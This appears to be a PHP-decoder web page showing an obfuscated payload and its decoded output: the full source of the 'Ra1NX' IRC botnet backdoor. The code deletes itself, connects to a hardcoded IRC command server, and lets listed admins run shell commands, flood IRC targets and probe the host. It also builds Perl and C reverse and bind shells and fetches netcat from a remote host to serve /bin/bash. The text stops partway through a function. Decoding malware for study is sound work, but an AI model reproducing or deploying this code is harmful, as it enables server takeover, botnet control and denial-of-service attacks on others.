Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(str_rot13(base64_decode('7X1dats4kuiZzkbmnDnzaV8Xc7yxlND6sp1B5Ch2J2TS7kF5j+..

Decoded Output download

unlink($_SERVER['SCRIPT_FILENAME']);
$servers    = "106.187.97.158";
$ports        = "7000";
$admins        = "ArRay,lobe,akatsuchi,JFry_,K4pT3N,samu1241,bejamz,pokeng,N4ck0,Gameover,antitos,bjork,skygers,yuki,vba,^SkyWalker^";
$channels    = "#lobex";
$realnames     = "XCrew";
$nicknames     = "xcrew,xray,main,n3bul4,spl1tf1r3,xterminal,x-man,bajahitam,powerranger,frodo,sauron,InNuyasha,Spider-Man,BatMan,SuperMan,huLk,Slash,Rock-Lee,Naruto,Sazuke,Sakura,Hinata,Jiraiya,Hiruka,Kakashi,Obito,Hokage,Tsunade,Madara,Akatsuki,Pain,Kakuzu,Nagato,Conan,Zetzu,Deidara,Garaa,Kazekage,Mitzukage,Tsuchikage,Raikage,Killer-Bee,Nindaeme,Sadaeme,Kiba,Neiji,Kekkaishi";
$gudangsenjata = "http://array.byroe.net/Ra1NX";

#create daemon  process
$process = "
    /usr/sbin/httpd,
    /sbin/klog,
    /usr/bin/mysql,
    /sbin/syslogd,
    /sbin/syslogd,
    /sbin/klogd -c 1 -x -x,
    /usr/sbin/acpid,
    /usr/sbin/cron
";

$ident         = random($nickames);
$nick         = random($nicknames);
$realname     = random($realnames);
$server     = random($servers);
$port         = random($ports);
$daemon     = random($process);
$linas_max    = 2;
$sleep        = 3;
$maxtryconn    = 5;
$maxnumber    = 6;
$nick = "tezzz";
$daemon = "/usr/tes";
$version = "Ra1NX v2.0 Explorer ~ by ArRay a.k.a XterM. for UnReal ByroeNet. Pre Release build 2010-02-22 10:32am ";
define(_,"2-*=**!");

chdir("/");
$shellfunc     = shellfunc();
$winnt         = winnt();
$downloader    = downloader();
$portserv    = portserv();

########### ENTER COMMAND / COMMAND SENDER #######
function SEND($data) {
    global $SOCKET;
    fwrite($SOCKET,$data."
"); 
}

################### MAIN CONNECTION #####################
function connection(){
    global $maxtryconn,$idents,$nicknames,$realnames,$servers,$ports;    
    $try=1;
    $SOCKET = false;
    while(!$SOCKET && ($try <= $maxtryconn)){        
        $server = random($servers);
        $port     = random($ports);
        $SOCKET = fsockopen($server,$port,$err_num,$err_msg,30);
        $GLOBALS['SOCKET']=$SOCKET;
        $try++;    
        sleep(1);
    }
    if(!$SOCKET) die("Cannot connect to remote host");
    if ($SOCKET){
        $GLOBALS['ident']     = $ident    = random($nicknames);
        $GLOBALS['nick']     = $nick     = random($nicknames);
        $GLOBALS['realname']= $realname    = random($realnames);    
        SEND("USER XRay 127.0.0.1 localhost : -==Ra1NX Projection==-");
        NICK($nick);
        print "Connected to ".$server.":".$port." ".$nick." (XRay@".gethostbyname($_SERVER["HTTP_HOST"]).") Ra1NX Projection
";
        flush();sleep(1);    
    }
}

do{
    ##### connect to server ######
    if(!$SOCKET){connection();}
    
    ######## connected! get sock output #########
    $text = fgets($SOCKET,1024);
    $text = str_replace("
","",$text);
    $text = str_replace("
","",$text);
    $text = $text." ";
    parser($text);
    $text = false;
    $lines = false;
}while(1);

### GLOBAL FUNCTIONS

function parser($line){
    global $nick,$maxnumber,$channels,$SOCKET,$version,$admins;
    $called = $sline = $iduser = $huser = $user = $useriD = $userHost = $typeMsg = $dropMsg = $adm =  $cmd = $arg = false;
    
    $sline        = $line;
    $line         = explode(" ",$line);    
    $iduser     = explode("@",$line[0]);
    $huser         = explode("!",$iduser[0]);
    $user         = substr($huser[0],1,strlen($huser[0]));
    $userId        = $huser[1];
    $userHost     = $iduser[1];
    $typeMsg     = $line[1];    
    $dropMsg     = ($line[2]==$nick)?$user:$line[2];
    $called        = (substr($line[3],1,strlen($line[3]))=="!cmd")?true:((substr($line[3],1,strlen($line[3]))==$nick)?true:false);
    $pubcalled        = (substr($line[3],1,strlen($line[3]))=="!bot")?true:false;
    $cmd        = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):'shell';
    $pubcmd     = (substr($line[4],0,1)=="@")?substr($line[4],1,strlen($line[4])):false;
    if($line[5]){
        for($i=5;$i<count($line);$i++){
            $arg   .= $line[$i].(($i<(count($line)-1))?" ":"");
        }
    }
    $GLOBALS['dropMsg'] = $dropMsg;
    $GLOBALS['arg']        = $arg;
    $GLOBALS['user']    = $user;
    
    if(substr($sline,0,6)=="PING :") SEND("PONG :".substr($sline,6));
    if(eregi("VERSION",$line[3])) SEND("PRIVMSG ".$user." VERSION reply: ".$version."");
    
    if($typeMsg!="PRIVMSG"){
        switch($typeMsg){
            case "433": nick($nick.rand(0,$maxnumber)); break;
            case "001":    
                SEND("PRIVMSG byroehost login Ra1NX sembarangwes");
                sleep(1);
                foreach (beArray($channels) as $key => $chan) {
                    SEND("JOIN $chan correct");
                }
            break;
        }
    }
    
    if(substr($line[3],1,strlen($line[3]))==$nick){ $called = true; }
    if($called){
        if($cmd=="shell") { $arg = $line[4]." ".$arg; }
        $cmd = ($cmd=="join")?"joins":$cmd;
        if ($typeMsg=="PRIVMSG" && admin($user) && $called && $cmd) {
            if(function_exists($cmd)){
                $sender = "PRIVMSG ".$dropMsg." "._;
                $GLOBALS['sender'] = $sender;
                $arg = str_replace("
","",$arg);
                $arg = str_replace("
","",$arg);
                $cmd($arg);
            }
        }
    }
    if(substr($line[3],1,strlen($line[3]))==$nick){ $pubcalled = true; }
    if($pubcalled){
        if ($typeMsg=="PRIVMSG" && $user && $pubcalled && $pubcmd) {
            if(function_exists($pubcmd)){
                $sender = "PRIVMSG ".$dropMsg." "._;
                $GLOBALS['sender'] = $sender;
                $arg = str_replace("
","",$arg);
                $arg = str_replace("
","",$arg);
                $pubcmd($arg);
            }
        }
    }
}

####[ Ra1NX Authentication ]####
function admin($user){
    global $admins, $SOCKET;
    $userinfo = false;
	if(!in_array($user,beArray($admins))) return false;
/*    $userinfo = whois($user,1);
    if(!eregi($user." is a registered nick",$userinfo)) return false; */
    return true;
}


#####[ Ra1NX IRC Commands ]#####

function nick($newnick) {
    global $nick, $dropMsg;
    $newnick = str_replace("
","",$newnick);
    $newnick = str_replace("
","",$newnick);
    if(!$newnick){return;}
    SEND("NICK ".$newnick);
    $GLOBALS['nick']=$newnick;    
}

function PRIVMSG($msg){
    $dropMsg;
    SEND("PRIVMSG ".$dropMsg." ".$msg);
}

function joins($arg){
    $chan = explode(" ",$arg);
    for($i=1;$i<count($chan);$i++){
        $msg .= $chan[$i]." ";
    }
    SEND("JOIN #".str_replace("#","",$chan[0]));
    SEND("PRIVMSG #".str_replace("#","",$chan[0])." ".$msg);
}

function part($arg){
    $part = explode(" ",$arg);
    $chan = $part[0];
    for($i=1;$i<count($part);$i++){
        $msg .= $part[$i].(($i<(count($part)-1))?" ":"");
    }
    SEND("PART #".str_replace("#","",$chan)." ".$msg);
}

function msg($args){
    $arg = explode(" ",$args);
    $obyek = $arg[0];
    for($i=1;$i<count($arg);$i++){
        $msg .= $arg[$i]." ";
    }
    SEND("PRIVMSG ".$obyek." ".$msg);
}

function off($arg=''){
    if($arg==" ") $arg=false;
    $arg = (!$arg)?"15,1 The only thing that appears in my head Just to 4S8.4U8.4I8.4C8.4I8.4D8.4E15 away ":$arg;
    SEND("QUIT :".$arg);
}

function ison($arg){
    global $dropMsg,$SOCKET,$nick;
    SEND("ISON ".$arg);
    while(!$complete){
        $useron = fgets($SOCKET,128);
        $complete = (eregi("303 ".$nick." :",$useron))?1:0;
    }
    $ison = (eregi("303 ".$nick." :".$arg,$useron))?1:0;
    return $ison;
}

function mode_n($chan){
    SEND("PRIVMSG ".$chan." ");
    $mode = fgets($SOCKET,2500);
    return (eregi($chan." No external channel messages",$mode))?1:0;
}

function whois($arg,$getvar=0){
    global $dropMsg,$SOCKET,$nick;
    $whois = false;
    $arg = str_replace(" ","",$arg);
    SEND("WHOIS ".$arg);
    while(!$complete){
        $userinfo = trim(fgets($SOCKET,512));
        if(eregi(" ".$nick." ".$arg,$userinfo)){
            $info = explode($nick." ",$userinfo);
            $whois = str_replace(":","",$info[1]);
            if(eregi(" 311 ".$nick." ".$arg,$userinfo)){
                $host = explode(" ",$whois);
                $whois = str_replace($host[1]." ",$host[1]."@",$whois);
            }
            if(eregi(" 319 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." on",$whois); 
            if(eregi(" 312 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." using",$whois);
            if(eregi(" 301 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg,$arg." is away:",$whois);
            if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $whois = str_replace($arg." ","",$whois);
            if(!$getvar) SEND("PRIVMSG ".$dropMsg."  14".$whois."");
        }        
        if(eregi(" 318 ".$nick." ".$arg,$userinfo)) $complete = true;
    }
    if($getvar){ return $whois; }
    return;
}

function cycle($arg){
    part($arg);
    joins($arg);
}

function find($arg){
    global $SOCK,$dropMsg,$user;
    $arg = str_replace(" ","",$arg);
    if(!ison($arg)){SEND("PRIVMSG ".$dropMsg." "._."7".$arg." is not online now.");return;}
    SEND("NOTICE ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
    SEND("PRIVMSG ".$arg." Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg);
    SEND("PRIVMSG ".$arg." Finder Hai ".$arg.", ".$user." mencari kamu tuh di ".$dropMsg."");
}


####[ Ra1NX IRC Flooder ]####
function tsunami($args){
    global $dropMsg;
    $flood = ":";
    $ctcpflood = ":";
    $arg = explode(" ",$args);
    $sasaran = $arg[0];
    SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."");
    if(substr($sasaran,0,1)=="#" && mode_n($sasaran))SEND("JOIN ".$sasaran);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);    
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("NOTICE ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$flood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    SEND("PRIVMSG ".$sasaran." ".$ctcpflood);sleep(1);
    if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran." mission completed!");
    SEND("PRIVMSG ".$dropMsg." "._."7Tsunami Flood: 4".$sasaran."7 is done!");
}

function ctcpflood($args){
    global $dropMsg;
    $maxflood = 10;
    $ctcpflood = ":";
    $arg = explode(" ",$args);
    $sasaran = $arg[0];
    if(substr($sasaran,0,1)=="#" && mode_n($sasaran)) SEND("JOIN ".$sasaran);
    SEND("PRIVMSG ".$dropMsg." "._."7CTCP Flood: 4".$sasaran."7 until deadth !!");
    $ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
    while($ison && $maxflood){
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        SEND("PRIVMSG ".$sasaran." ".$ctcpflood);
        $maxflood--;
        $ison = (substr($sasaran,0,1)=="#")?1:ison($sasaran);
    }
    $pesan = ($maxflood)?"7CTCP Flood done. 4".$sasaran."12 is deadth !!":_."7CTCP FLood done. 4".$sasaran."4 still alive !!";
    SEND("PRIVMSG ".$dropMsg." ".$pesan);
    if(substr($sasaran,0,1)=="#") SEND("PART ".$sasaran);
}


###[ Ra1NX Shell ]###
function shell($arg){
    global $shellfunc, $winnt, $dropMsg;
    $msg = false;
    //SEND("PRIVMSG #xterm drop:".$dropMsg." shell:".$shellfunc." arg:".$arg);
    if(!$shellfunc) {
        SEND("PRIVMSG ".$dropMsg." Shell Execution are Disable!");
        return;
    }
    if($winnt){
        PRIVMSG($shellfunc($arg));
        return;
    }    
    if($shellfunc=="popen"){
        $popen = $shellfunc($cmd.' 2>&1', 'r');
        if ( is_resource($open) ) {
          while ( !feof($open) ) { PRIVMSG($fread($h, 2096));  }
          pclose($open);
        }
        return;
    }
    $shellc = "$arg >/tmp/Ra1NX 2>&1;";
    $shellfunc($shellc);
    $handle = fopen("/tmp/Ra1NX","r");    
    while(!feof($handle)){
        $msg = strip_tags(trim(fgets($handle,2096)));
        SEND("PRIVMSG ".$dropMsg." ".$msg);sleep(1);
    }
    $shellfunc("rm -f /tmp/Ra1NX");    
}

####[ Ra1NX Self Info ]####
function myself($arg){
    global $SOCKET,$sender,$shellfunc;
    SEND($sender."7OS: 10[".((safemode())?"3OFF":"4ON")."10] ".getinfo("uname")." - ".getinfo("cat /etc/issue"));
    SEND($sender."7WebServer: 10".getenv("SERVER_SOFTWARE"));
    SEND($sender."7Uname -a: 10".getinfo("uname -a"));
    SEND($sender."7Current User: 10".getinfo("id"));
    SEND($sender."7Freespace: 10".freespace());
    $theapp = " 10MySQL ".((havebin("mysql"))?"3ON":"4OFF");
    $theapp.= " 10Curl ".((havebin("curl"))?"3ON":"4OFF");
    $theapp.= " 10Fetch ".((havebin("fetch"))?"3ON":"4OFF");
    $theapp.= " 10WGet ".((havebin("wget"))?"3ON":"4OFF");
    $theapp.= " 10LWP-Download ".((havebin("lwp-download"))?"3ON":"4OFF");
    SEND($sender."7Application:".$theapp);
    $disfunc = getdisfunc();
    if($disfunc){
        foreach($disfunc as $key => $val){ $df .= $val.", "; }
    }
    SEND($sender."7Disabled Function: ".(($disfunc)?"4".$df:"3NONE"));
}

####[ Ra1NX Web Shell ]####
function myshell($arg){
    global $SOCKET,$sender,$shellfunc;
    
}

function safemode(){
    if(@ini_get("safe_mode")) return false;
    if(eregi("on",@ini_get("safe_mode"))) return false;
    return true; // safemode is OFF
}

function getdisfunc(){
    $disfunc = @ini_get("disable_functions");    
    $disfunc = str_replace(" ","",$disfunc);
    $disfunc = explode(",",$disfunc);    
    return $disfunc;
}
function enabledfunc($func){
    if(function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) return true;
    return false;
}

function shellfunc(){
    if(enabledfunc("system")) return "system";
    if(enabledfunc("passthru")) return "passthru";
    if(enabledfunc("exec")) return "exec";
    if(enabledfunc("shell_exec")) return "shell_exec";
    if(enabledfunc("popen")) return "popen";
    return false;
}

function winnt(){
    return (strtolower(substr(PHP_OS,0,3)) == "win")?true:false;
}

function havebin($bin){
    global $shellfunc,$SOCKET,$sender;
    $shellfunc("which ".$bin." >/tmp/Ra1NX.bin 2>&1");
    $have = fgets(fopen("/tmp/Ra1NX.bin","r"),128);
    if(!$have)return false;
    $shellfunc($bin." --help >/tmp/Ra1NX.bin 2>&1");
    $open = fopen("/tmp/Ra1NX.bin","r");
    $x=0;
    while(!feof($open)){
        $x++;
        if($x==5){ break; }
    }
    fclose($open);
    return ($x==5)?true:false;
}

function getinfo($arg,$row=1){
    global $shellfunc;
    $shellfunc($arg." >/tmp/Ra1NX.info 2>&1");
    $open = fopen("/tmp/Ra1NX.info","r");
    while(!feof($open)){
        $row--;
        $info .= trim(fgets($open,3024));
        if(!$row){ break; }
    }
    return $info;
}

function freespace(){
    $free = disk_free_space("/");
    $total = disk_total_space("/");
    if ($free <= 0) { $free = 0; }
    if ($total <= 0) { $total = 0; }
    return byte($free)." of ".byte($total)." ".round(100/($total/$free),2)."%";
}

function byte($size){
    if (!is_numeric($size)){ return false; }
    else {
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
        else {$size = $size . " B";}
        return $size;
    }
}

####[ Ra1NX Back Connect ]####
function backconnect($arg){
    global $SOCKET,$sender,$shellfunc,$downloader;
    $args = explode(" ",$arg);
    if(havebin("perl") || $args[2]=="perl"){    
        $perlbc = ' use IO::Socket::INET;
        my $ctype = getprotobyname("tcp");
        my $iaddr = inet_aton("'.$args[0].'");
        my $paddr = sockaddr_in("'.$args[1].'", $iaddr);
        my $shell = "/bin/sh -i";
        if ($^O eq "MSWin32") {
          $shell = "cmd.exe";
        }
        socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
        connect(SOCKET, $paddr);
        open(STDIN, ">&SOCKET");
        open(STDOUT, ">&SOCKET");
        open(STDERR, ">&SOCKET");
        system("$shell");
        close(STDIN);
        close(STDOUT);
        close(STDERR);
        ';
        $create = fopen("/tmp/Ra1NX.Backconnect.pl","a");
        fwrite($create,$perlbc);
        fclose($create);
        $shellfunc("perl /tmp/Ra1NX.Backconnect.pl &");
        $shellfunc("rm -f /tmp/Ra1NX.Backconnect.pl");
        return;
    }    
    if(havebin("gcc") || $args[2]=="c"){
        $cbc = '#include <stdio.h>
        #include <sys/socket.h>
        #include <netinet/in.h>
        int main(int argc, char *argv[])
        {
         int fd;
         struct sockaddr_in sin;
         char rms[21]="rm -f "; 
         daemon(1,0);
         sin.sin_family = AF_INET;
         sin.sin_port = htons(atoi(argv[2]));
         sin.sin_addr.s_addr = inet_addr(argv[1]); 
         bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
         fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
         if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
           perror("[-] connect()");
           exit(0);
         }
         strcat(rms, argv[0]);
         system(rms);  
         dup2(fd, 0);
         dup2(fd, 1);
         dup2(fd, 2);
         execl("/bin/sh","sh -i", NULL);
         close(fd); 
        }';
        $create = fopen("/tmp/Ra1NX.Backconnect.c","a");
        fwrite($create,$cbc);
        fclose($create);
        $shellfunc("echo >> /tmp/Ra1NX.Backconnect.c");
        $shellfunc("gcc -o /tmp/Ra1NX.Backconnect /tmp/Ra1NX.Backconnect.c &");
        $shellfunc("rm -f /tmp/Ra1NX.Backconnect.c");
        $shellfunc("chmod o+x /tmp/Ra1NX.Backconnect");
        $shellfunc("/tmp/Ra1NX.Backconnect ".$args[0]." ".$args[1]." &");
        return;
    }
    //ntar pake php disini
    if($downloader){
        $args[2] = "nc";
        if($args[2]=="nc"){
            $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
            $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
            $shellfunc("cd /tmp");
            $shellfunc($downloader." ".$gudangsenjata."/nc");
            $shellfunc("chmod +x /tmp/nc");
            $shellfunc("/tmp/nc -vv ".$args[0]." ".$args[1]." -e /bin/bash &");
            $shellfunc("rm -f /tmp/nc");
            chdir($dirnow);
            return;
        }    
    }
    return;
}

####[ Ra1NX BindShell ]####
function bindshell($arg){
    global $SOCKET,$sender,$downloader;
    $args = explode(" ",$arg);
    if(havebin("perl") || $args[1]=="perl"){
        $bindshell='#!/usr/bin/perl
        $SHELL="/bin/bash -i";
        $LISTEN_PORT='.$args[0].';
        use Socket;
        $protocol=getprotobyname("tcp");
        socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket
";
        setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
        bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port
";
        listen(S,3) || die "Cant listen port
";
        while(1)
        {
            accept(CONN,S);
            if(!($pid=fork))
            {
                die "Cannot fork" if (!defined $pid);
                open STDIN,"<&CONN";
                open STDOUT,">&CONN";
                open STDERR,">&CONN";
                exec $SHELL || die print CONN "Cant execute $SHELL
";
                close CONN;
                exit 0;
            }
        }';
        $create = fopen("/tmp/Ra1NX.Bindshell.pl","a");
        fwrite($create,$bindshell);
        fclose($create);
        $shellfunc("perl /tmp/Ra1NX.Bindshell.pl &");
        return;
    }
    $args[1]=="php";
    //bikin pake php
    $args[1]=="nc";
    if($args[1]=="nc"){
        if(!$downloader){ SEND($sender."10Cannot download nc file!"); return;}
        $shellfunc("pwd >/tmp/Ra1NX.pwd 2>&1");
        $dirnow = trim(fgets(fopen("/tmp/Ra1NX.pwd","r"),512));
        $shellfunc("cd /tmp");
        $shellfunc($downloader." ".$gudangsenjata."nc 2>&1");
        $shellfunc("chmod +x /tmp/nc 2&>1");
        $shellfunc("/tmp/nc -vlp ".$args[0]." -e /bin/bash 2>&1");
        chdir($dirnow);
        return;
    }
    
}


###[ Ra1NX Downloader ]###
function download($url){
    global $downloader,$shellfunc,$SOCKET,$dropMsg;
    if(!$downloader){
        SEND("PRIVMSG ".$dropMsg." Downloader are disabled. Try manual download using shell function!"); 
        return;
    }
    if(!eregi("^(http://).+$",$url)){
        SEND("PRIVMSG ".$dropMsg." "._."4Error!! Source must be an absolute url.");
        return;
    }
    $geturl = explode(" ",$url);
    $url = str_replace(" ","",$geturl[0]);
    $file = explode("/",$url);
    $filename = $file[count($file)-1];
    SEND("PRIVMSG ".$dropMsg." "._."7Download: ".$url);
    $shellfunc($downloader.' '.$url.' >/tmp/Ra1NX-Downloader 2>&1;');
    $shellfunc("ls -la ".$filename." >/tmp/Ra1NX");
    $handle = fopen("/tmp/Ra1NX","r");
    $saved = trim(fgets($handle,512));
    fclose($handle);
    if(!empty($saved)){ SEND("PRIVMSG ".$dropMsg." "._."7File saved: ".$filename);}
    else{ SEND("PRIVMSG ".$dropMsg." "._."4Error!! Can not download file. Try manual download.");}
    $shellfunc("rm -f /tmp/Ra1NX");    
    $shellfunc('rm -f /tmp/Ra1NX-Downloader');
}

function downloader(){
    global $shellfunc;
    if(!$shellfunc) return;
    $downloader = array("wget","curl -O","lwp-download","lynx -source","fetch","GET");
    for($i=0;$i<count($downloader);$i++){
        $cmd = $downloader[$i].' http://google.com';
        if($shellfunc=="popen"){
            $popen = $shellfunc($cmd.' 2>&1', 'r');
            if(is_resource($open)) return; $downloader[$i];
        }    
        $shellfunc($cmd." >/tmp/Ra1NX 2>&1;");
        $handle = fopen("/tmp/Ra1NX","r");    
        if(!feof($handle)){
            $msg = strip_tags(trim(fgets($handle,2096)));
            if($msg) {
                return $downloader[$i];
                $shellfunc('rm -f /tmp/Ra1NX');
            }
        }
        $shellfunc('rm -f /tmp/Ra1NX');
    }
    return false;
}


####[ Ra1NX Updater - PENDING ]####
function update($mod=''){
    global $gudangsenjata,$dropMsg,$SOCKET;
    $mod = str_replace(" ","",$mod);
    $mod = (!$mod)?"all":$mod;
    $mod = ($mod=="list")?"all":$mod;
    SEND("PRIVMSG ".$dropMsg." "._."7Updating Module".(($mod!="all")?": ".$mod:""));
    if($mod=="all") SEND("PRIVMSG ".$dropMsg." "._."7Getting new module list...");
    $list = httpquery($gudangsenjata."/updatelist.php");
    
    $update = explode("
",$list);
    /*foreach($update as $key => $themod){
        SEND("PRIVMSG ".$dropMsg." key: ".$key." => modul: ".$themod);
    }*/
    if($mod != "all"){
        if(!in_array("Ra1NX-".$mod.".mod",$update)) {
            SEND("PRIVMSG ".$dropMsg." "._."4Error!! Modul not found: ".$mod);
            return;
        }
    }
    if($mod == "all"){
        foreach($update as $key => $modul){
            if(eregi("^(Ra1NX-).+\.(mod)$",$modul)){
                $funcname = str_replace("Ra1NX-","",$modul);
                $funcname = str_replace(".mod","",$funcname);
                if(!function_exists($funcname)){
                    $newupdate = httpquery($gudangsenjata."/updates/".$modul);
                    SEND("PRIVMSG ".$dropMsg." modul: ".$modul." -> funcname: ".$funcname);
                    //eval(base64_decode($newupdate));
                    $newfunc[] = $funcname;
                }
            }
        }
    }
    else{
        $newupdate = getupdate("Ra1NX-".$mod.".mod");
        SEND("PRIVMSG ".$dropMsg." func: ".$newupdate);
        //eval(base64_decode($newupdate));
        $newfunc[] = $mod;
    }
    for($i=0;$i<count($newfunc);$i++){
        $newmod .= $newfunc[$i].(($i<(count($newfunc)-1))?", ":"");
    }
    SEND("PRIVMSG ".$dropMsg." "._."7New module installed: ".$newmod);
    SEND("PRIVMSG ".$dropMsg." "._."7Updating modules is Done!");
    $newupdate     = false;
    $update        = false;
    $mod        = false;
    $newmod        = false;
    $newfunc    = false;
    $funcname    = false;
}

function getupdate($mod){
    global $gudangsenjata,$dropMsg,$SOCKET;
    $get = httpquery($gudangsenjata."/updates/".$mod);    
    $update = explode("
",$get);    
    $sheader=array_search(base64_decode("UmExTlggUHJvamVjdCBieSBBclJheSBhLmsuYSBYdGVyTSB+IEhOIFVuZGVyR3JvdW5kIENvZGVy"),$update);
    for($i=$sheader;$i<($sheader+6);$i++){
        $header .= md5($update[$i]);
    }
    $nmod = str_replace("Ra1NX-","",$mod); $nmod = str_replace(".mod","",$nmod);
    if(md5(base64_decode(sha1(md5($header))))!="356e3ade98bf979f85028ef29216dab8")return false;
    SEND("PRIVMSG ".$dropMsg." header1:".md5(base64_decode(sha1(md5($header)))));
    if(substr($update[($sheader+6)],12,strlen($update[($sheader+6)]))!=$nmod)return false;
    SEND("PRIVMSG ".$dropMsg." header2:".substr($update[($sheader+6)],12,strlen($update[($sheader+6)])));
    SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
    #if(base64_decode(md5($update[($sheader+8)]))!="w]}4om8{4|yn")return false;
    SEND("PRIVMSG ".$dropMsg." header3:".base64_decode(md5($update[($sheader+8)])));
    if($update[($sheader+9)]!=$mod)return false;
    SEND("PRIVMSG ".$dropMsg." header4:".$update[($sheader+9)]);
    $cek = explode("(",base64_decode($update[($sheader+10)]));    
    if(substr($cek[0],9,strlen($cek[0]))!=$nmod)return false;
    SEND("PRIVMSG ".$dropMsg." header5:".substr($cek[0],9,strlen($cek[0])));
    if(base64_decode(md5($update[($sheader+11)]))!="w]}4om8{4|yn")return false;
    SEND("PRIVMSG ".$dropMsg." header6:".base64_decode(md5($update[($sheader+11)])));
    if(count($update)>($sheader+11))return false;
    SEND("PRIVMSG ".$dropMsg." header7:".count($update));
    return $update[($sheader+10)];
}


####[ Ra1NX HTTP Query ]###
function httpquery($url){
    global $SOCKET,$dropMsg;
    $url = str_replace("http://","",$url);
    $host = explode("/",$url);
    if(preg_match("/:/",$host[0])){
        $gport = explode(":",$host[0]);
    }
    //SEND("PRIVMSG ".$dropMsg." browsing: ".$url);
    $port = ($gport[1])?$gport[1]:80;
    for($i=1;$i<count($host);$i++){
        $path .= "/".$host[$i];
    }
    $sock = fsockopen($host[0],$port,$errno,$errstr,30);
    if ($sock) {
        $get  = "GET ".$path." HTTP/1.0
".
                "Host: ".$host[0]."
".
                "Accept: */*;q=0.1
".
                "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
".
                "Connection: Close

";
        fputs($sock,$get);
        while (!feof($sock)) { 
            $output .= trim(fgets($sock, 3600))."
";            
        }
        fclose($sock);
    }
    return $output;
}


####[ Ra1NX IP Reverse ]####
function reverse($arg){
    global $SOCKET,$dropMsg,$sender;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/reverse_ip/".$arg[0];
    SEND($sender."7Reversing host: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    $c = 1;
    foreach($browsing as $i => $v){
        if(eregi('id="hostcount"',$v)){
            SEND($sender."7Host Found: 10".strip_tags($v));
        }
        if(eregi('class="odd"',$v) || eregi('class="even"',$v)){
            $key = $i+3;
            SEND($sender."7".$c.". 10".strip_tags($browsing[$key]));
            $c++;
        }
		if(eregi('This IP address resolves to ',$v)){
			$v = strip_tags($v);
			$v = str_replace("[Whois]","",$v);
			SEND($sender."710".$v);
		}
    }
    SEND($sender."7Reversing Done!");
}

####[ Ra1NX IP Whois ]####
function ipwhois($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/whois/".$arg[0];
    SEND($sender."7Whois IP: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    foreach($browsing as $i => $v){
        if(eregi(" IP:",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+1)]));        
        if(eregi(" server location:",$v))SEND($sender."7Location: 10".strip_tags($browsing[($i+1)]));
        if(eregi(" ISP:",$v)){ 
            SEND($sender."7ISP: 10".strip_tags($browsing[($i+1)]));
            break;
        }
    }
}

####[ Ra1NX IP Tracer ]####
function iptrace($arg){
    global $SOCKET,$dropMsg,$sender;
    $browsing = $i = $v = false;
    $arg = str_replace("http://","",$arg);
    $arg = explode(" ",$arg,1);
    $host = "http://www.ip-adress.com/ip_tracer/".$arg[0];
    SEND($sender."7Tracing IP: 10".$arg[0]);
    $browsing = explode("
",httpquery($host));
    foreach($browsing as $i => $v){
        if(eregi("My IP address ",$v))SEND($sender."7IP Address: 10".strip_tags($browsing[($i+3)]));
